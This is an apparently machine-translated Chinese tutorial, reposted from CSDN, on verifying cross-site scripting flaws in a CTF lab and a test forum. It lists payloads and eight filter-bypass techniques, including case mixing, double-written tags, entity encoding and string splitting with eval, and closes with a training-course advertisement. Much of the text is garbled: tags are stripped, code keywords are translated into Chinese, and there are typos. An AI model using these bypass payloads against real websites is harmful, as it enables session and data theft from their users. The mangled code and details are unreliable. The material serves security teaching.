【精选】【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法,xss漏洞的有效措施

【精选】【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法目录
1 漏洞验证相关概念2 XSS漏洞验证 2.1 常见POC2.2 反射型XSS漏洞验证2.3 存储型XSS漏洞验证2.4 DOM型XSS漏洞验证 3 XSS语句构造与绕过

目录

1 漏洞验证概念2 XSS 漏洞验证

2.1 常见POC2.2 反射型XSS漏洞验证2.3 存储型XSS漏洞验证2.4 DOM XSS漏洞验证3 XSS语句构造与绕过

3.1 如何构造XSS语句3.2 如何改造和绕过4 参考总结

1 漏洞验证相关概念

共同概念

POC:正式名称:“Proof of Concept”,中文为“概念证明”,常指证明漏洞的一段代码。

EXP:正式名称为“exploit”,中文为“exploit”,指的是利用系统漏洞进行攻击的行为。

Payload:中文术语“有效负载”是指成功利用后在目标系统上执行的实际代码或指令。

Shellcode:简单翻译为“shellcode”,它是一种payload。有许多不同类型的shellcode,包括正向、反向,甚至是meterpreter。 POC与EXP的比较

POC用于证明漏洞的存在,EXP用于利用漏洞。换句话说,PoC通常是无害的,而EXP通常只存在于POC中。有效负载和shellcode

有效负载可以有不同的类型,并且可以直接是shellcode 或系统命令。有效负载和经验值

相同的payload可以用于多个漏洞,但每个漏洞都有自己的EXP,因此不存在通用的EXP。有效载荷模块

Metasploit 框架的六个主要模块之一是Payload 模块。该模块共有三种类型:Single、Stager 和Stages。 Single是一种一体化的负载,不依赖于其他文件,因此其体积较大。暂存主要在目标计算机内存有限并使用暂存建立的连接来建立连接时使用。有多种类型的舞台和舞台适合不同的场景。

2 XSS漏洞验证

2.1 常见POC

您可以使用简单代码(POC)来验证并确认漏洞的存在。用于验证XSS 漏洞是否存在的常见POC 包括:

脚本警报(/xss/)/脚本

scriptconfirm(\’xss\’)/脚本

脚本提示符(\’xss\’)/脚本

2.2 反射型XSS漏洞验证

反射型XSS漏洞往往存在于参数中。该实验在第一级XSS 实验室得到验证。点击网址直接开始战斗:http://test.ctf8.com/level1.php?name=test。

如果将URL中的参数更改为?name=111并按回车键,您将看到以下页面,显示页面内容。现在测试反射的XSS 漏洞。

将参数修改为?name=scriptalert(/xss/)/script,测试是否触发弹窗。当你按下回车键时,会出现一个弹窗,告知你网站后台没有对输入参数进行过滤,存在漏洞。

右键网页,点击查看源代码,如下图。由于网页不会对输入输出内容进行检查或过滤,因此这种异常内容会输出到客户端的浏览器,浏览器在解析该内容时,会根据script标签解析该内容并显示弹窗。将出现一个窗口。

!DOCTYPE html!–状态正常–html

元http-equiv=\’content-type\’ content=\’text/html;charset=utf-8\’

脚本

窗口.alert=函数()

{

确认(\’干得好!\’);

window.location.href=\’level2.php?keyword=test\’;

}

/剧本

欢迎来到标题级别1/标题

/头

身体

对象样式=\’border:0px\’类型=\’text/x-scriptlet\’数据=\’http://xss.tv/subject/default/templates/head.html\’宽度=100%高度=50/object

欢迎来到h1align=center level1/h1

h2align=center 欢迎用户scriptalear(/xss/)/script/h2centerimg src=level1.png/center

h3align=centerpayload长度:29/h3/body

/html

2.3 存储型XSS漏洞验证

存储型XSS漏洞通常存在于公告牌等数据库内容中。我们将使用之前构建的论坛网站的消息传递功能作为实验平台。该平台搭建流程请参见《搭建一个简单丑陋的论坛网站》。

使用您之前使用的帐户登录并访问该网站。密码也是a。登录后,返回首页,点击“留言”。

使用消息功能留下scriptalert(/xss/)/script 的内容。点击“发送”

当您再次返回主页时,您将看到之前留下的消息。

单击该消息,将出现一个弹出窗口。这是一个存储型XSS 漏洞。

如下图,当你在页面上右键查看网页的源代码时,你会发现这段异常内容被输出到了客户端浏览器,因为我们搭建的平台并没有对输入输出内容进行检查和过滤。看。浏览器解析内容时,会弹出一个弹窗,因为内容是根据script标签解析的。

html

元字符集=\’utf-8\’

标题留言论坛/标题

/头

身体

h1 留言内容/h1a href=\’./index.php\’ 返回首页/ahr/

作者:abr 标题:存储的XSShr /scriptalert(/xss/)/script/body

/html

2.4 DOM型XSS漏洞验证

由于我还没有找到合适的平台进行测试,所以找到了代码,保存到phpstudy网站根目录下的dom.php文件中,以便稍后测试。这段代码中script标签的内容就是定义一个变量a,赋值给URL,对a进行解码,将message=后面的内容写入到DOM树中。

html

标题DOM-XSS/标题

元字符集=\’utf-8\’

/头

身体

脚本

var a=文档.URL;

a=转义(a);

document.write(a.substring(a.indexOf(\’message=\’)+8,a.length));

/剧本

/博菲

/html

因为我们没有将message参数传递给URL,所以我们通过浏览器访问网页,其中内容以文本形式输出。

如果将参数更改为?message=scriptalert(/xss/)/script,则按Enter键会出现弹窗。

当我右键查看源代码时,我发现代码与我之前编写的内容相符,并且没有弹出内容。

如果您检查网页元素,您会注意到它在DOM 树中具有额外的弹出窗口内容。这是通过修改上面的文档语句生成的。 (部分浏览器显示结果可能有所不同,请尝试不同浏览器的分析结果。)

3 XSS语句构造与绕过

3.1 XSS语句构造方式

第一:你可以使用[] 来构造HTML/JS 语句,如下所示:

脚本警报(/xss/)/脚本

scriptconfirm(\’xss\’)/脚本

脚本提示符(\’xss\’)/脚本

第二种:XSS可以利用javascript:伪协议构造。

a href=\’javascript:alert(/xss/)\’touch me/a //使用javascript:标签的伪协议

img src=\’javascript:alert(/xss/)\’ //img标签中使用了javascript:伪协议,但是该方法在IE6中测试成功,在IE8中失败

第三种:事件驱动:事件驱动是一种比较经典的编程思想。网页内部会发生很多事件(鼠标移动、键盘输入等),JS 可以响应此类事件,从而触发JS 功能或触发XSS。主要事件类型如下。

Windows 事件:由Windows 对象触发的事件,表单事件:由HTML 表单中的操作触发的事件,鼠标事件:由鼠标或类似用户操作触发的事件。

img src=\’./smile.jpg\’ onmouseover=\’alert(/xss/)\’//该标签引入了一张图片,当鼠标悬停在该图片上时,就会触发XSS代码。

img src=\’./smile.jpg\’ onerror=\’alert(/xss/)\’//onerror在文档加载失败时触发XSS,比如下面的语句:

img src=\’#\’ onerror=\’alert(/xss/)\’ //与前面的语句相比,将文件路径改为#肯定会加载失败并触发XSS。

input type=\’text\’ onkeydown=\’alert(/xss/)\’ //单行文本框键盘点击事件,点击键盘任意键就会触发XSS。

输入类型=\’文本\’ onkeyup=\’alert(/xss/)\’

输入类型=\’按钮\’ onclick=\’alert(/xss/)\’

第四种方法是使用CSS(Cascading Style Script)触发XSS。这种方法比较旧,目前不适合大多数主流浏览器。以下代码在IE6下测试。

//内联样式

div 样式=\’backgroud-image:url(javascript:alert(/xss/))\’

//页内样式

styleBody{backgroud-image:url(javascript:alert(/xss/))}/样式

//外部样式

链接rel=\’stylesheet\’ type=\’text/css\’ href=\’./xss.css\’divhellodiv

//xss.css的文本内容如下

h1 {color:red;}

分配{

/*width:表达式(alert(/xss/))*/

背景-image:url(javascript:alert(/xss/))

}

@ 表达

div style=\’width:expression(alert(/xss/))\’

styleBody{backgroud-image:expression(alert(/xss/));}/style

@进口

style@import \’javascript:alert(\’xss\’)\’;/样式

样式类型=\’text/css\’@import url(xss.css);/styledivHELLO/div

其他标签和技术是使用一些相对较新的前端标签构建的。

svg onload=\’警报(/xss/)\’

输入onfocus=alert(xss/) 自动对焦

3.2 变形及绕过方式

目的:构造的XSS代码可以通过多种方式进行转换,以绕过XSS过滤器检测。第一种:混合大小写

有效负载可以混合大小写,如以下示例所示。此示例包含两种语言。 HTML 语言不区分大小写。这意味着该语言将它们视为同一个函数,不区分大小写,但JS 语言,例如alert()函数,是区分大小写的。我认为JS 语言在Alert() 方面是不同的。

Img Src=\’#\’ Onerror=\’alert(/xss/)\’//img src=\’#\’ 由onerrr=\’alert(/xss/)\’ 转换

A href=\’javascript:alert(/xss/)\’touch me/a //href=\’javascript:alert(/xss/)\’由touch me/a转化

第二种:双写旁路。如果发现过滤器只过滤一次,有的关键字被过滤为空,可以使用双写绕过。

scrscriptiptalert(/xss/)/scr/scriptipt

第三种:使用引号

虽然HTML 语言对引号的使用不敏感,但某些过滤函数对引号非常谨慎,因此您可以使用不同的引号来关闭XSS 语句。

//以下三种类型能否成功触发XSS取决于过滤的方式。

img src=\’#\’ onerror=\’alert(/xss/)\’

img src=\’#\’ onerror=\’alert(/xss/)\’

img src=# onerror=alert(/xss/)

第四种方法:用[/]替换空格。例如:

img/src=\’#\’/onerror=\’alert(/xss/)\’

第五种方法:某些关键字允许您插入回车符和制表符以绕过关键字检测。

img src=\’#\’ onerror=\’alert(/xss/)\’ //关键字中插入制表符可能会失败。

a href=\’ja

vascript:alert(/xss/)\’请触摸/a

第六种:

编码已被绕过。要对标签属性值进行转码来实现绕过,需要在转码后添加分号。

字母a 对应于ASCII 代码97、十进制代码#97 和十六进制代码#x61。

字母e 对应ASCII 代码101,十进制编码#101,十六进制编码#x65。此外,您可以在任意位置插入以下字符:

选项卡==#9

新行==#10

输入==#13 在起始位置插入以下字符。

雷神==#01

STX==#01

转码后的例子如下:

a href=\’j#97;v#x61;script:laert(/xss/)\’点我!/a//简单编码后

A href=\’#01;j#97;v#x61;s#9;c#10;r#13;ipt:laert(/xss/)\’点我!/a//插入字符后

第七种方法:跨站点拆分,将语句拆分为多条语句,串在一起运行。

scriptz=\’警报\’/脚本

scriptz=z+\'(/xss/)\’/script

scripteval(z)/script//ecal 是一个执行函数,它将以下字符串作为语句执行。

类型8:CSS 中的转换。

width:expression(alert(/xss/))//请使用全角字符

width:expre/**/ssion(alert(/xss/))//注释被浏览器忽略

style@import \’javas\\cri\\0pt:alert(/xss/)\’;/style//插入\\和\\0符号

4 总结

了解漏洞验证相关概念,学习XSS漏洞验证的五种方法,学习绕过XSS语句的八种方法。

参考文献

《渗透中POC、EXP、Payload与Shellcode的区别》

接下来我们将为每个同学划分学习计划!

学习计划

那么,作为初学者,问题又出现了:我应该先学什么,接下来又应该学什么?

既然你诚实地问了,我就告诉你你需要从头开始学习什么。

阶段一:初级网络安全工程师

接下来,安排一个月的基本网络安全计划。完成课程后,基本上可以找到与网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等。其中,如果学好级保证模块,就可以从事级保证工程师的工作。

总体薪资范围6,000-15,000

1.网络安全理论知识(2天)

了解行业背景和前景,决定发展方向。

学习有关网络安全的法律法规。

网络安全运营理念。

等保制度介绍、等保法规、流程、规范。 (很重要)

2.渗透测试基础知识(1周)

渗透测试程序、分类和标准

信息收集技术:主动/被动信息收集、Nmap工具、Google Hacking

漏洞扫描、漏洞利用、原理、使用、工具(MSF)、IDS绕过、防病毒侦察

主机攻防训练:MS17-010、MS08-067、MS10-046、MS12-20等。

3.操作系统基础知识(1周)

Windows系统常用功能及命令

Kali Linux系统常用功能及命令

操作系统安全(系统入侵调查/系统加固基础设施)

4.计算机网络基础(1周)

计算机网络基础、协议和体系结构

网络通信原理、OSI模型、数据传输流程

常用协议分析(HTTP、TCP/IP、ARP等)

网络攻击技术和网络安全防御技术

Web漏洞原理及防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5.数据库基础操作(2天)

数据库基础

SQL语言基础

加强数据库安全

6. 网络渗透(1周)

HTML、CSS 和JavaScript 简介

OWASP前10名

Web漏洞扫描工具

Web入侵工具:Nmap、BurpSuite、SQLMap、其他(Chop Knife、Miss Scan等)

所以到现在为止已经过去了大约一个月的时间。你已经成功成为“脚本小子”了。那么,你还想继续探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

薪资水平:15,000 至30,000 日元

7.脚本编程学习(4周)

在网络安全领域。编程能力是“脚本小子”和真正的网络安全工程师之间的关键区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用的工具不能满足实际需求时,往往需要扩展现有工具或者可能需要创建工具或自动化脚本来满足要求。需要特定的编程技能。在分秒必争的CTF比赛中,需要具备一定的编程能力,才能有效地利用自制的脚本工具来实现各种目标。

对于从零开始的学生,我们建议选择一种脚本语言:Python/PHP/Go/Java,并学习常用库的编程。

设置您的开发环境并选择您的IDE。 PHP 环境推荐Wamp 和XAMPP,IDE 强烈推荐Sublime。

学习Python编程,包括语法、正则、文件、网络、多线程等常用库。推荐《Python核心编程》,不需要全部看完。

使用Python 创建漏洞利用程序,然后创建一个简单的网络爬虫。

学习基本的PHP 语法并创建一个简单的博客系统

熟悉MVC 架构并尝试学习PHP 或Python 框架(可选)。

了解引导布局或CSS。

阶段三:顶级网络安全工程师

如果您对网络安全入门感兴趣,点击这里领取您的CSDN礼包:《黑客网络安全入门进阶学习资源包》 免费分享

学习资料分享

当然,只提供计划而不提供学习材料,无异于流氓行为。这是网络安全(Heyke)的完整版本。如有需要,全套学习资料已上传至CSDN官方。您也可以点击下方链接,扫描下方微信2V码,获取网络工程师完整资料【完全免费保证】

如果你对网络安全入门感兴趣,那么你点击这里CSDN大礼包:《黑客网络安全入门进阶学习资源包》免费分享

#【选选】【XSS漏洞03】以上关于验证XSS漏洞、构造语句以及如何绕过的相关内容来源于网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92354.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月26日
Next 2024年6月26日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注